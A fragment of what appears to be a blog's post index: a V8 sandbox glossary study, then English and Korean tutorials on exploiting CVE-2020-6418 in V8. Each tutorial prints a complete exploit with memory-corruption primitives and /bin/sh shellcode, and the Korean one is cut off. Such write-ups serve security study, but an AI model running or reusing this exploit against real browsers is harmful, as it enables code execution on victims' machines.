      "content"     : "It’s been a while since I last wrote a blog post because I’ve been busy lately, but I’m planning to get back into it—both as a way to organize my thoughts and to keep up with my personal studies.I’d like to focus mainly on V8, but I might occasionally post some random or less relevant content as well. Anyway, this time I’ll be covering the sandbox. I’ve been meaning to study it for a while, so I decided to revisit some documentation I already knew and go through it more carefully. This post is based on the following document:V8 Sandbox Glossary First, I’ll go over the key terms related to the V8 sandbox.GeneralSandboxSummary: A region of virtual address space (typically 1TB) containing all untrusted V8 objects. Implementation: This is implemented as a large, contiguous virtual address space reservation using the appropriate operating system primitives. Address space reservations are cheap on all modern OSes. Security Properties: It is assumed that an attacker can arbitrarily read and write memory inside the sandbox address space due to a typical security bug in V8. The mechanisms described in this document, in particular the various pointer types, then attempt to prevent an attacker from corrupting other memory inside the process running V8. Based on the content, although I haven’t gone through the detailed sandbox design yet, it assumes that an attacker can already arbitrarily read and write memory inside the sandbox due to common vulnerabilities. In other words, it starts from the premise that the security within the sandbox may already be compromised. Rather than trying to fully protect the inside of the sandbox, the design focuses on preventing the attacker from escaping to the outside. I used to think of the sandbox as something like a trust zone, but through recent study, I’ve realized that it’s not quite the same. ObjectsTrustedObjectSummary: A V8 HeapObject containing sensitive data or code, located outside of the sandbox. Implementation: These are regular HeapObjects with a special instance type and which are allocated in one of the trusted heap spaces, located outside of the sandbox. Security Properties: As these objects live outside of the sandbox, it can be assumed that they have not been manipulated by an attacker. As such, they can safely be read from, but one must be particularly careful when writing to them to avoid any memory corruption in trusted space. Here, the term instance type refers to objects that are defined as trusted at the type level and are also located within the trusted space. As for what constitutes sensitive data or code, I think it would be better to go through the detailed documentation and organize that separately later. The trusted heap itself seems to be a large region, but internally it is divided into multiple spaces. Lastly, the document mentions that reading is safe, but writing operations must be handled carefully to avoid memory corruption in the trusted space. This is because there are many dangerous possibilities, such as modifying JIT-compiled code directly or tampering with pointer tables. ExposedTrustedObjectSummary: A trusted object directly exposed to objects inside the sandbox. Implementation: These objects own an entry in one of the trusted pointer tables and therefore can be referenced from inside the sandbox in a memory-safe way via a trusted pointer (see below). Security Properties: Same as TrustedObject. ExposedTrustedObject also lives in the trusted heap, but unlike a regular TrustedObject, it can be accessed from within the sandbox. That said, this access is not done through raw pointers, but rather through the trusted pointer table. pointersCompressed PointerSummary: A pointer that is guaranteed to point into V8’s 4GB heap area, inside the sandbox. Implementation: These are stored as 32-bit offsets from the start of the heap area. They were originally developed to reduce V8’s memory footprint. Security Properties: As this pointer always points into the sandbox, it can always safely be written to, but when reading from it, it must be assumed that the data has been corrupted by an attacker. The reason it is limited to 4GB is that the value is represented using a 32-bit offset. The reason write operations are considered relatively safer than read operations is based on the assumption that memory inside the sandbox can already be arbitrarily modified by an attacker. Therefore, additional writes do not significantly change the situation from that assumption. In other words, writes do not directly affect memory outside the sandbox, since compressed pointers are restricted to referencing only addresses within the sandbox. On the other hand, while an attacker reading data may simply result in information disclosure, the real issue arises when V8 performs a read. If V8 reads corrupted or attacker-controlled data and trusts it, it may operate based on incorrect values, which can ultimately lead to effects that extend beyond the sandbox. Uncompressed/Full PointerSummary: A full (64-bit) pointer to a V8 HeapObject. Implementation: These are regular (“raw”) pointers to HeapObjects. They appear for example after decompressing a compressed pointer when loading it into a register or onto the stack, or as fields in objects located outside of the sandbox, for example tracking data structures used by the GC or the compilers, or objects created by the Embedder. Security Properties: As these are raw pointers, they must not be corrupted by an attacker and so must only be used outside of the sandbox. As they also point into the sandbox, the same considerations as for Compressed Pointers apply, namely that it must be assumed that what they point to has been corrupted. Pointers located outside the sandbox do not need to use compressed pointers, so full pointers are used instead. Since these pointers reside outside the sandbox, it is assumed that they cannot be modified by an attacker. However, because they point to objects inside the sandbox, the values they reference may still be corrupted. As mentioned earlier, the sandbox is designed under the assumption that memory within it may already be compromised, so the data being pointed to could potentially be attacker-controlled. Sandboxed PointerSummary: A pointer that is guaranteed to point into the sandbox. Implementation: A sandboxed pointer is a 40-bit offset (when the sandbox is 1TB large) that is added to the base of the sandbox when loaded. When the sandbox is disabled, they are regular full pointers. Security Properties: As this pointer always points into the sandbox, it can always safely be written to, but when reading from it, it must be assumed that the data has been corrupted by an attacker. A sandboxed pointer is a pointer that is guaranteed to always point inside the sandbox. The difference between a sandboxed pointer and a compressed pointer is that a compressed pointer refers to the V8 heap, while a sandboxed pointer refers to the entire sandbox space. The address is computed in the form of sandbox_base + offset. Protected PointerSummary: A pointer that cannot be modified by an attacker. Only used between TrustedObjects. Implementation: These are implemented as compressed pointers but use the trusted space base instead of the in-sandbox heap base. It’s therefore guaranteed that they will always point into trusted space. As the pointer itself is also located in trusted space, it cannot directly be modified by an attacker. When the sandbox is disabled, they are regular tagged pointers. Security Properties: Neither the pointer itself nor the pointed-to object can be modified by an attacker as both live in trusted space. These pointers therefore have the strongest security guarantees. A protected pointer is a pointer that cannot be modified by an attacker and is only used between TrustedObjects. The reason it is considered unmodifiable is that it exists between objects located outside the sandbox. Since TrustedObjects themselves reside in trusted space, the pointer is also placed in a location that the attacker cannot directly access. Additionally, this pointer is based on the trusted space base. External PointerSummary: A pointer to an object external to V8, outside of the sandbox and not managed by V8’s GC. Implementation: These are implemented as indices into the ExternalPointerTable (EPT), which is located outside of the sandbox. The EPT performs type checks on every access to a pointer. Conceptually, they are very similar to file descriptors in Unix. When the sandbox is disabled, they are regular full pointers. Security Properties: The pointer will point to a valid object of the expected type. However, an attacker can swap these pointers as long as the type of the referenced object is the same. External pointers do not directly reference objects outside of V8. Instead, they are managed through an indirection mechanism using the ExternalPointerTable (i.e., indices). While type checks ensure safety, pointer swap attacks are still possible between objects of the same type. For example, it is possible to swap two objects A and B if they share the same type. Indirect PointerSummary: A pointer to a V8 HeapObject that goes through a pointer table indirection on access. Implementation: The “under-the-hood” implementation of Trusted Pointers and Code Pointers (see below) when the sandbox is enabled. Similar to External Pointers, these are indices into a pointer table and perform type checks on access. These pointers are only available when the sandbox is enabled. Security Properties: See Trusted Pointer. Since V8 HeapObjects reside inside the sandbox, it might seem unnecessary to introduce an additional level of indirection. However, if they were accessed directly, an attacker could potentially modify the pointer values. To mitigate this, the design uses a pointer table and performs an additional type check when retrieving the object, providing an extra layer of safety. Trusted PointerSummary: A pointer that is guaranteed to point to a valid TrustedObject in trusted space. Implementation: These are implemented as Indirect Pointers using the TrustedPointerTable (TPT) when the sandbox is enabled. Otherwise they are regular tagged pointers. Security Properties: The pointer will point to a TrustedObject in trusted space of the expected type. However, as with External Pointers an attacker can perform “pointer swap attacks” so it is not guaranteed that the pointer still points to the “original” object. The difference between a Trusted Pointer and a Protected Pointer is that a Trusted Pointer points to a TrustedObject, but since it is accessed indirectly through a pointer table, it is not completely secure and is susceptible to pointer swap attacks. In contrast, a Protected Pointer resides entirely within trusted space, so it cannot be modified by an attacker and therefore provides stronger security guarantees. Pointers do not exist independently; they are stored as fields within objects. The security level of a pointer is determined by the location of the object that contains it, whether it resides inside the sandbox or in trusted space. Code PointerSummary: A special kind of Trusted Pointer that always points to a Code object. Implementation: Similar to Trusted Pointers, but these use the CodePointerTable (CPT) instead of the TPT. They are essentially a performance optimization as the CPT also directly points to the code’s entrypoint. Security Properties: Same as Trusted Pointers, but will always point to a Code object. A Code Pointer refers to a Code object generated by JIT compilation, and unlike a regular Trusted Pointer, it is optimized to directly return the entrypoint of the code. Pointer swapping between Code objects is possible within the same CodeKind. Since it directly affects which code gets executed, it is a pointer that has an impact on control flow."
    } ,
  
    {
      "title"       : "CVE-2020-6418-Exploit(EN)",
      "category"    : "Exploit",
      "tags"        : "V8, 1-day, Exploit",
      "url"         : "./CVE-2020-6418-Exploit(EN).html",
      "date"        : "2025-02-13 00:00:00 +0000",
      "description" : "CVE-2020-6418-Exploit(EN)",
      "content"     : "I will explain how to exploit the remaining parts of the PoC that I explained last time. This time, I referred to that blog again. https://cwresearchlab.co.kr/entry/CVE-2020-6418-Incorrect-side-effect-modelling-for-JSCreateExploitThe full source code is as follows./* ex.js */let fi_buf = new ArrayBuffer(8); // shared bufferlet f_buf = new Float64Array(fi_buf); // buffer for floatlet i_buf = new BigUint64Array(fi_buf); // buffer for bigint// convert float to bigintfunction ftoi(f) { f_buf[0] = f; return i_buf[0];}// convert bigint to floatfunction itof(i) { i_buf[0] = i; return f_buf[0];}ITERATIONS = 100000;let a = [0.1, , , , , , , , , , , , , , , 0.2, 0.3, 0.4];let oob_arr = undefined; // array for OOBlet obj_arr = undefined; // array of objectslet buf = undefined; // ArrayBuffer for shellcodea.pop();a.pop();a.pop();let shellcode = [106, 104, 72, 184, 47, 98, 105, 110, 47, 47, 47, 115, 80, 72, 137, 231, 104, 114, 105, 1, 1, 129, 52, 36, 1, 1, 1, 1, 49, 246, 86, 106, 8, 94, 72, 1, 230, 86, 72, 137, 230, 49, 210, 106, 59, 88, 15, 5];function empty() { }function f(p) { a.push(Reflect.construct(empty, arguments, p) ? 3.2378e-319 : 3.2378e-319); // itof(0xfffen) for (let i = 0; i &lt; ITERATIONS; i++) { }}let p = new Proxy(Object, { get: () =&gt; { a[1] = {}; oob_arr = [0.1]; obj_arr = [{}]; buf = new ArrayBuffer(shellcode.length); return Object.prototype; }});function main(p) { f(p); for (let i = 0; i &lt; ITERATIONS; i++) { }}for (let i = 0; i &lt; ITERATIONS; i++) { empty(); }main(empty);main(empty);main(p);// get (compressed) address of objectfunction addrof(obj) { obj_arr[0] = obj; return ftoi(oob_arr[4]) &amp; 0xffffffffn;}// generate fake objectfunction fakeobj(addr) { let obj_addr = ftoi(oob_arr[4]); obj_addr &amp;= 0xffffffff00000000n; obj_addr |= addr; oob_arr[4] = itof(obj_addr); return obj_arr[0];}let float_arr_map = ftoi(oob_arr[1]) &amp; 0xffffffffn; // map of float array// arbitrary address readfunction aar(addr) { let elements = addr - 8n; // elements pointer let length = 2n; // length is 1 let float_arr_struct = [0.1, 0.2]; // fake float array structure float_arr_struct[0] = itof(float_arr_map); float_arr_struct[1] = itof((length &lt;&lt; 32n) | elements); let fake = fakeobj(addrof(float_arr_struct) - 0x10n); // fake float array return ftoi(fake[0]);}// allocate rwx memory regionlet wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 0, 11]);let wasmModule = new WebAssembly.Module(wasmCode);let wasmInstance = new WebAssembly.Instance(wasmModule);let sh = wasmInstance.exports.main;let rwx = aar(addrof(wasmInstance) + 0x68n); // address of rwx memory region// overwrite backing storelet bs = ftoi(oob_arr[12]);bs &amp;= 0xffffffffn;bs |= rwx &lt;&lt; 32n;oob_arr[12] = itof(bs);bs = ftoi(oob_arr[13]);bs &amp;= 0xffffffff00000000n;bs |= rwx &gt;&gt; 32n;oob_arr[13] = itof(bs);// execute shellcodelet view = new DataView(buf);for (let i = 0; i &lt; shellcode.length; i++) { view.setUint8(i, shellcode[i]); // copy shellcode in rwx memory region}sh(); // executeFirst, to briefly mention the previous content, change the Double array to Object in PoC through the root cause. I have confirmed that OOB occurs. This is an exploit that takes advantage of that fact. First, let’s explain the PoC contents.let p = new Proxy(Object, { get: () =&gt; { a[1] = {}; oob_arr = [0.1]; obj_arr = [{}]; buf = new ArrayBuffer(shellcode.length); return Object.prototype; }});Originally, there was no part to declare a buffer in the PoC part, but a part to declare a buffer was added. I will proceed with this part in mind.// allocate rwx memory regionlet wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 0, 11]);let wasmModule = new WebAssembly.Module(wasmCode);let wasmInstance = new WebAssembly.Instance(wasmModule);let sh = wasmInstance.exports.main;let rwx = aar(addrof(wasmInstance) + 0x68n); // address of rwx memory regionPrepare wasm bytecode through wasmcode, create wasmModule, and create wasmInstance with compilation information v8 performs JIT compilation and allocates memory to contain the corresponding code. At this time, the allocated memory is the JIT area with rwx permission. So, we can say that an instance must be created to create the rwx area. Afterwards, you can see how the JIT compiled code is set up so that it can be used using sh() through exports. You can see the part where 0x68 is added to wasmInstance right after that. The reason why the offset is 0x68 is This is because it is known that in the v8 version, the JIT compiled code exists at position +0x68 based on wasmInstance. This may differ depending on the v8 version, so it would be a good idea to analyze it yourself or look up the offset information for that version. let rwx = aar(addrof(WasmInstance)+ 0x68n);In this part, the addrof function is as follows:// get (compressed) address of objectfunction addrof(obj) { obj_arr[0] = obj; return ftoi(oob_arr[4]) &amp; 0xffffffffn;}To explain based on the current situation, an object called WasmInstance is entered, and the object is placed at obj_arr[0]. At this time, you can see that and operation is performed on oob_arr[4] and 0xffffffffn. The reason for this behavior is because obj_arr[0] = oob_arr[4]. Let’s look at this part in the picture.For analysis, let’s check by sending DebugPrint to the area where the vulnerability is triggered. The photo is the oob_arr part.The photo is part of object_arr.At this time, the elments field of the oob_aar array is above the header part of the oob_arr array, so check the memory value starting from the elments_field part. Based on the first line, the values ​​are map , length , oob_arr[0] and Based on the second line, it becomes map, properties, elements, and length. At this time, let’s look at the header part and elements field of the object_aar array.The upper part is the elements field part of object_aar, and in that order, it is the map, length, and object_aar[0] parts, and The bottom part is the header part of the object_aar array, and from the top it is map, properties, elements, and length.If you look at the picture, it is the oob_aar field. Since oob_aar is a double type, it takes up 1 index per 8 bytes. So, if you check the value of oob_aar[4], you can see that the elements_field of object_aar, that is, the value of obj[0], overlaps. So obj_arr[0] = oob_arr[4].At this time, if you perform an and operation between this value and 0xffffffff, the value &amp; 00000000ffffffffn is actually calculated, which becomes the address value of the object. You can get it. Briefly explain ftoi and itof that appear here.let fi_buf = new ArrayBuffer(8); // shared bufferlet f_buf = new Float64Array(fi_buf); // buffer for floatlet i_buf = new BigUint64Array(fi_buf); // buffer for bigint// convert float to bigintfunction ftoi(f) { f_buf[0] = f; return i_buf[0];}// convert bigint to floatfunction itof(i) { i_buf[0] = i; return f_buf[0];}They both point to the same buffer, and the difference is whether the buffer value is read in float type or int type. Then you can proceed with the type conversion you want. When you go through addrof(WasmInstance), the address value of WasmInstance is entered. At this time, 0x68 is added It points to the area containing JIT code. At this time, it moves on to the aar() function.// arbitrary address readfunction aar(addr) { let elements = addr - 8n; // elements pointer let length = 2n; // length is 1 let float_arr_struct = [0.1, 0.2]; // fake float array structure float_arr_struct[0] = itof(float_arr_map); float_arr_struct[1] = itof((length &lt;&lt; 32n) | elements); let fake = fakeobj(addrof(float_arr_struct) - 0x10n); // fake float array return ftoi(fake[0]);}If you start with this part step by step, you can see that elements = addr -8n is done at first. The reason for this will be explained using the value of the oob_aar array mentioned earlier as an example.If you look at the second line, it says the order is map, properties, elements, and length. So, if we are trying to retrieve the JIT address into an array, it must be located at the [0] index of the array. You will be able to get that address using . Next, set the length to 1 and create a float type array using float_arr_struct to create a fake array. At this time, you can see that map is placed at position 0 of the array, and elements and length are placed at position 1, in that order. After that, the fakeobj array is called, and at this time, the value 0x10 from the newly created float_arr_struct is called as an argument.// generate fake objectfunction fakeobj(addr) { let obj_addr = ftoi(oob_arr[4]); obj_addr &amp;= 0xffffffff00000000n; obj_addr |= addr; oob_arr[4] = itof(obj_addr); return obj_arr[0];}The first thing to keep in mind before calling this function is ` let fake = fakeobj(addrof(float_arr_struct) - 0x10n); ` Since we used addrof(float_arr_struct), remembering object_aar[0] = oob_aar[4] we checked earlier If you look at the current addrof, oob_arr[4] and objecct_aar[0] values, the float_arr_struct value is included. So at this time` let obj_addr = ftoi(oob_arr[4]);`Doing so is essentially the same as getting the address value of float_arr_struct. At this time, you can see that the and operation is performed between the value of the address and 0xffffffff00000000n. When this operation is performed, the upper address of the float_arr_struct object is retrieved, and the upper address and addr, that is, the value of float_arr_struct-0x10, are Combine them using the or operation. Then, the float_arr_struct location will be shifted by 0x10. For your understanding, I will add pictures to explain. Let’s add DebugPrint to the source code.this is float_aar_struct.It’s fake. If you look closely at the value pointed to by the elments pointer of float_arr_struct, it exists at position -0x8 of the float_arr_struct array. Then, the map , length , and float_arr_struct[0] values ​​will be entered from that part. So, 0x10 was subtracted from the float_arr_struct value.It can be confusing when you look at the picture, but the red boxes are map, properties, elements, and length of the float_aar_struct array.The green box is the elements field part of the float_aar_struct array. Lastly, the yellow box is the map and properties of the fake array.elements , length . So, to briefly explain, the float_aar_struct[1] field of the elements field of float_aar_struct is the elements pointer value of the fake array.It overlapped. Then, if you read fake[0] of the fake array, I saw it earlierlet elements = addr - 8n; // elements pointer part works Only when reading fake[0] after map and length can the addr value itself be read. At the end return ftoi(fake[0]); You can see that the reason for bringing the value of fake[0] is to bring in the rwx area, that is, the addr value. Because of this` let fake = fakeobj(addrof(float_arr_struct) - 0x10n);’ Subtract 0x10 from the partIn this part, the address value (addr-0x8) is entered into the fake’s elements pointer location. Then, from the fake perspective, when bringing in the value of the array, fake(0) = address of the rwx area, which is the location after map and length at the elements pointer (addr(rwx)-0x8).You can now get the value. Same explanation, but done twice. Then, cover the backing store with the address of the rwx area brought in.// overwrite backing storelet bs = ftoi(oob_arr[12]);bs &amp;= 0xffffffffn;bs |= rwx &lt;&lt; 32n;oob_arr[12] = itof(bs);bs = ftoi(oob_arr[13]);bs &amp;= 0xffffffff00000000n;bs |= rwx &gt;&gt; 32n;oob_arr[13] = itof(bs);Let’s analyze this part to make it easier to understand.Let’s debug before and after the change.The photo is with oob_aarbuf (buffer). Please remember the buffer’s backing store.If you look at the elements field of oob_aar like this, you can see that the backing store value of buf seen in the previous picture is located in oob_aar[12]. Then, store this value in bs and use ffffffffn and and operations to save only the object address value. Afterwards, you can see that both the upper and lower bits of the address are replaced with the rwx value. Simply put, the backing store value of buf has been changed to the rwx area, that is, the point where the JIT code is located. Next, let’s check by checking the Debugprint.Now, if we check the backing store pointer value of the buffer,You can see that it has been changed to the starting point of the rwx area.Now, finally, the previously declared let shellcode = [106, 104, 72, 184, 47, 98, 105, 110, 47, 47, 47, 115, 80, 72, 137, 231, 104, 114, 105, 1, 1, 129, 52, 36, 1, 1, 1, 1, 49, 246, 86, 106, 8, 94, 72, 1, 230, 86, 72, 137, 230, 49, 210, 106, 59, 88, 15, 5];The shellcode part// execute shellcodelet view = new DataView(buf);for (let i = 0; i &lt; shellcode.length; i++) { view.setUint8(i, shellcode[i]); // copy shellcode in rwx memory region}sh(); // executeUsing DataView, write shellcode in the buf buffer pointing to the rwx area as the backing store. Afterwards, when we run the JIT codes using the sh() function that was exported when writing the wasm part, we The shellcode written in the JIT area is executed."
    } ,
  
    {
      "title"       : "CVE-2020-6418-Exploit(KO)",
      "category"    : "Exploit",
      "tags"        : "V8, 1-day, Exploit",
      "url"         : "./CVE-2020-6418-Exploit(KO).html",
      "date"        : "2025-02-12 00:00:00 +0000",
      "description" : "CVE-2020-6418-Exploit(KO)",
      "content"     : "이번에는 저번에 설명했던 PoC에 이어서 나머지 Exploit 부분에 대해서 설명해보겠습니다. 이번에도 해당 블로그를 참고하였습니다. https://cwresearchlab.co.kr/entry/CVE-2020-6418-Incorrect-side-effect-modelling-for-JSCreateExploit전체 소스코드는 다음과 같습니다./* ex.js */let fi_buf = new ArrayBuffer(8); // shared bufferlet f_buf = new Float64Array(fi_buf); // buffer for floatlet i_buf = new BigUint64Array(fi_buf); // buffer for bigint// convert float to bigintfunction ftoi(f) { f_buf[0] = f; return i_buf[0];}// convert bigint to floatfunction itof(i) { i_buf[0] = i; return f_buf[0];}ITERATIONS = 100000;let a = [0.1, , , , , , , , , , , , , , , 0.2, 0.3, 0.4];let oob_arr = undefined; // array for OOBlet obj_arr = undefined; // array of objectslet buf = undefined; // ArrayBuffer for shellcodea.pop();a.pop();a.pop();let shellcode = [106, 104, 72, 184, 47, 98, 105, 110, 47, 47, 47, 115, 80, 72, 137, 231, 104, 114, 105, 1, 1, 129, 52, 36, 1, 1, 1, 1, 49, 246, 86, 106, 8, 94, 72, 1, 230, 86, 72, 137, 230, 49, 210, 106, 59, 88, 15, 5];function empty() { }function f(p) { a.push(Reflect.construct(empty, arguments, p) ? 3.2378e-319 : 3.2378e-319); // itof(0xfffen) for (let i = 0; i &lt; ITERATIONS; i++) { }}let p = new Proxy(Object, { get: () =&gt; { a[1] = {}; oob_arr = [0.1]; obj_arr = [{}]; buf = new ArrayBuffer(shellcode.length); return Object.prototype; }});function main(p) { f(p); for (let i = 0; i &lt; ITERATIONS; i++) { }}for (let i = 0; i &lt; ITERATIONS; i++) { empty(); }main(empty);main(empty);main(p);// get (compressed) address of objectfunction addrof(obj) { obj_arr[0] = obj; return ftoi(oob_arr[4]) &amp; 0xffffffffn;}// generate fake objectfunction fakeobj(addr) { let obj_addr = ftoi(oob_arr[4]); obj_addr &amp;= 0xffffffff00000000n; obj_addr |= addr; oob_arr[4] = itof(obj_addr); return obj_arr[0];}let float_arr_map = ftoi(oob_arr[1]) &amp; 0xffffffffn; // map of float array// arbitrary address readfunction aar(addr) { let elements = addr - 8n; // elements pointer let length = 2n; // length is 1 let float_arr_struct = [0.1, 0.2]; // fake float array structure float_arr_struct[0] = itof(float_arr_map); float_arr_struct[1] = itof((length &lt;&lt; 32n) | elements); let fake = fakeobj(addrof(float_arr_struct) - 0x10n); // fake float array return ftoi(fake[0]);}// allocate rwx memory regionlet wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 0, 11]);let wasmModule = new WebAssembly.Module(wasmCode);let wasmInstance = new WebAssembly.Instance(wasmModule);let sh = wasmInstance.exports.main;let rwx = aar(addrof(wasmInstance) + 0x68n); // address of rwx memory region// overwrite backing storelet bs = ftoi(oob_arr[12]);bs &amp;= 0xffffffffn;bs |= rwx &lt;&lt; 32n;oob_arr[12] = itof(bs);bs = ftoi(oob_arr[13]);bs &amp;= 0xffffffff00000000n;bs |= rwx &gt;&gt; 32n;oob_arr[13] = itof(bs);// execute shellcodelet view = new DataView(buf);for (let i = 0; i &lt; shellcode.length; i++) { view.setUint8(i, shellcode[i]); // copy shellcode in rwx memory region}sh(); // execute우선 간단하게 이전 내용을 언급해보자면 root cause를 통해 PoC에서 Double 배열을 Object로 변경하면서 OOB가 발생하는 것을 확인했었습니다. 그 사실을 이용한 Exploit입니다. 먼저 PoC 내용 이후부터 설명을 해보면let p = new Proxy(Object, { get: () =&gt; { a[1] = {}; oob_arr = [0.1]; obj_arr = [{}]; buf = new ArrayBuffer(shellcode.length); return Object.prototype; }});원래 PoC 부분에선 버퍼를 선언하는 부분이 없었는데 버퍼를 선언하는 부분이 생겼습니다. 이 부분 기억하면서 진행하겠습니다.// allocate rwx memory regionlet wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 0, 11]);let wasmModule = new WebAssembly.Module(wasmCode);let wasmInstance = new WebAssembly.Instance(wasmModule);let sh = wasmInstance.exports.main;let rwx = aar(addrof(wasmInstance) + 0x68n); // address of rwx memory regionwasmcode를 통해 wasm 바이트 코드를 준비하고 wasmModule을 생성하여 컴파일 정보를 가지고 wasmInstance를 생성하면서 v8이 JIT 컴파일을 진행하여 해당 코드를 담는 메모리를 할당하게 되는데 이때 할당되는 메모리가 rwx권한을 가지고 있는 JIT 영역입니다. 그래서 인스턴스를 생성을 해야 rwx영역이 생긴다고 말할 수 있습니다. 이후 exports를 통해 JIT 컴파일된 코드를 sh()을 이용하여 사용할 수 있게끔 설정을 하는 모습을 볼 수 있습니다. 그 바로 뒷 부분인 wasmInstance에 0x68만큼 더하는 부분을 볼 수 있는데 0x68이라는 오프셋이 나온 이유는 해당 v8 버전에선 JIT컴파일된 코드가 wasmInstance 기준 +0x68위치에 존재한다고 알려져 있기 때문입니다. 이는 v8 버전에 따라 상이해질 수 있으니 직접 분석해보거나 해당 버전의 오프셋 정보에 대해 찾아보면 좋을 것 같습니다. let rwx = aar(addrof(WasmInstance)+ 0x68n);이 부분에서 addrof 함수는 아래와 같습니다.// get (compressed) address of objectfunction addrof(obj) { obj_arr[0] = obj; return ftoi(oob_arr[4]) &amp; 0xffffffffn;}현재 상황을 기준으로 설명을 해보자면 WasmInstance라는 객체가 들어가게 되고 obj_arr[0] 위치에 해당 객체가 들어가게 됩니다. 이때 oob_arr[4] 부분과 0xffffffffn 를 and 연산을 해주는 것을 볼 수 있습니다. 이런 동작을 하는 이유는 obj_arr[0] = oob_arr[4]인 상태이기 때문인데 이 부분도 사진으로 보겠습니다.분석을 위해 해당 취약점이 트리거 되는 부분에 DebugPrint를 찍어서 확인을 해보겠습니다. 해당 사진은 oob_arr 부분입니다.해당 사진은 object_arr 부분입니다.이때 oob_aar 배열의 elments 필드가 oob_arr배열의 헤더부분보다 위에 있으므로 elments_field 부분부터 메모리 값을 확인해보면 첫번째 줄을 기준으로 map , length , oob_arr[0] 값이 되고 두번째 줄을 기준으로 map , properties , elements , length 가 됩니다. 이떄 object_aar배열의 헤더 부분과 elements 필드를 보겠습니다.윗 부분은 object_aar의 elements 필드 부분이고 순서대로 map , length , object_aar[0] 부분이고 아래쪽은 object_aar 배열의 헤더 부분인데 위에서부터 map , properties , elements , length 입니다.해당 사진을 보면 oob_aar field 부분인데 oob_aar은 double형이였기 때문에 8바이트당 1인덱스를 차지하게 됩니다. 그래서 oob_aar[4]의 값을 확인해보면 object_aar의 elements_field 즉 obj[0] 값이 서로 겹치는 것을 확인할 수 있습니다. 그래서 obj_arr[0] = oob_arr[4] 가 되게 됩니다.이떄 이 값과 0xffffffff를 and 연산을 해주게 되면 사실상 값 &amp; 00000000ffffffffn 계산을 하게 되어 해당 오브젝트의 주소 값을 얻을 수 있습니다. 여기서 나오는 ftoi 와 itof 에 대해 간략히 설명해보면let fi_buf = new ArrayBuffer(8); // shared bufferlet f_buf = new Float64Array(fi_buf); // buffer for floatlet i_buf = new BigUint64Array(fi_buf); // buffer for bigint// convert float to bigintfunction ftoi(f) { f_buf[0] = f; return i_buf[0];}// convert bigint to floatfunction itof(i) { i_buf[0] = i; return f_buf[0];}서로 같은 버퍼를 가리키고 있고 해당 버퍼값을 float형으로 읽어오는지 혹은 int형으로 읽는지 차이인데 그러면 내가 원하는 형변환을 진행할 수 있습니다. addrof(WasmInstance)를 거치게 되면 WasmInstance의 주소값이 들어가 있게 되는 상태가 되고 이때 0x68을 더해 JIT 코드가 들어가 있는 영역을 가리키게 됩니다. 이때 aar() 함수로 넘어가게 됩니다.// arbitrary address readfunction aar(addr) { let elements = addr - 8n; // elements pointer let length = 2n; // length is 1 let float_arr_struct = [0.1, 0.2]; // fake float array structure float_arr_struct[0] = itof(float_arr_map); float_arr_struct[1] = itof((length &lt;&lt; 32n) | elements); let fake = fakeobj(addrof(float_arr_struct) - 0x10n); // fake float array return ftoi(fake[0]);}이 부분에 대해 차근차근 시작해보면 처음에 elements = addr -8n을 해주는 걸 볼 수 있습니다. 이 이유는 아까의 oob_aar 배열의 값을 예를 들어서 설명해보겠습니다.두번째 줄을 보면 map , properties , elements , length 순이라고 했었습니다. 그래서 만약 저희가 JIT 주소를 배열로 릭해오려고 하는거라면 해당 배열의 [0]인덱스 자리에 위치해야 아까 전의 addrof 함수를 사용해서 해당 주소를 가져올 수 있을 것입니다. 다음은 길이를 1로 설정하고 가짜 배열을 만들기 위해 float_arr_struct를 이용하여 float형 배열을 하나 만들어줍니다. 이때 해당 배열의 0번 위치에 map , 1번위치에 elements , length 순으로 넣어주는 걸 볼 수 있습니다. 그 이후에 fakeobj배열을 호출하는데 이때 아까 새로 만들어두었던 float_arr_struct에서 0x10한 값을 인자로 호출합니다.// generate fake objectfunction fakeobj(addr) { let obj_addr = ftoi(oob_arr[4]); obj_addr &amp;= 0xffffffff00000000n; obj_addr |= addr; oob_arr[4] = itof(obj_addr); return obj_arr[0];}우선 생각해둬야할 것은 이 함수를 호출하기 전에 ` let fake = fakeobj(addrof(float_arr_struct) - 0x10n); ` addrof(float_arr_struct)를 사용하였기 때문에 우리가 아까 확인했던 object_aar[0] = oob_aar[4] 를 기억하면서 보면 현재 addrof 즉 oob_arr[4] 이자 objecct_aar[0] 값에 float_arr_struct 값이 들어가 있습니다. 그래서 이때` let obj_addr = ftoi(oob_arr[4]);`를 하게 